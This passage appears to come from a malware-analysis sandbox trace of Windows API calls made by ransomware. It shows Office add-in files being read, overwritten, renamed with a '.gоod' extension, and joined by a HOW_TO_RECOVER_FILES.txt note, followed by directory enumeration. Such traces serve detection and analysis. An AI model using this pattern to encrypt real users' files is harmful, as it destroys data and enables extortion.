lpBuffer=0x3dbd0e8*, lpNumberOfBytesRead=0x206ec9c8*=0x639, lpOverlapped=0x0) returned 1 [0236.244] CloseHandle (hObject=0x860) returned 1 [0236.244] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0236.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0236.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\bg\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0236.245] GetFileType (hFile=0x860) returned 0x1 [0236.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0236.245] GetFileType (hFile=0x860) returned 0x1 [0236.245] SetFilePointer (in: hFile=0x860, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1639 [0236.245] WriteFile (in: hFile=0x860, lpBuffer=0x3dbe478*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3dbe478*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0236.245] CloseHandle (hObject=0x860) returned 1 [0236.245] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0236.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0236.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\bg\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0236.245] GetFileType (hFile=0x860) returned 0x1 [0236.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0236.246] GetFileType (hFile=0x860) returned 0x1 [0236.246] ReadFile (in: hFile=0x860, lpBuffer=0x3dc0788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x3dc0788*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0236.553] CloseHandle (hObject=0x860) returned 1 [0236.553] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0236.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0236.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\bg\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0236.554] GetFileType (hFile=0x860) returned 0x1 [0236.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0236.554] GetFileType (hFile=0x860) returned 0x1 [0236.554] WriteFile (in: hFile=0x860, lpBuffer=0x3642b00*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x3642b00*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0236.554] CloseHandle (hObject=0x860) returned 1 [0236.554] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0236.554] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml.gоod", lpFilePart=0x0) returned 0x6b [0236.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0236.554] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\bg\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x165b9401, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x893589c4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1649)) returned 1 [0236.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0236.554] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\bg\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\bg\\localizedstrings.xml.gоod")) returned 1 [0236.556] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0236.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0236.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\bg\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0236.558] GetFileType (hFile=0x860) returned 0x1 [0236.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0236.558] GetFileType (hFile=0x860) returned 0x1 [0236.558] WriteFile (in: hFile=0x860, lpBuffer=0x36822f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x36822f8*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0236.559] CloseHandle (hObject=0x860) returned 1 [0236.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0236.560] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca", lpFilePart=0x0) returned 0x51 [0236.560] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0236.561] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.561] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16605845, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0236.561] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa4995f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd028, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0236.562] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd55d11, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0236.562] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x680214, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0236.562] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56ab5a1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56ab5a1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x201030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0236.562] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa806c3d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0236.562] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x688d06d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x688d06d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x688d06d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ca98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0236.562] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2ee20e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f2e583, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0236.562] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56f7a52, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56f7a52, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56f7a52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0236.563] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0236.563] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0e95c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0e95c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8090, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0236.563] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0236.563] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2ee20e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f2e583, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0236.563] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e7d566, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e7d566, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0236.563] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37acc11, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37acc11, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37acc11, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15080, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0236.563] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf71003, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xfe368d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0236.564] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc5d437d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc5d437d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5fa5d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0236.564] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5174318, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5174318, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x519a5bb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0236.564] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa31be8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa31be8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa4733b6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0236.564] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0236.564] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0236.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0236.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0236.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0236.565] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca", lpFilePart=0x0) returned 0x51 [0236.565] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a920 [0236.566] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.566] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16605845, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0236.566] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa4995f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd028, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0236.566] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd55d11, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0236.566] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x680214, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0236.567] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56ab5a1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56ab5a1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x201030, 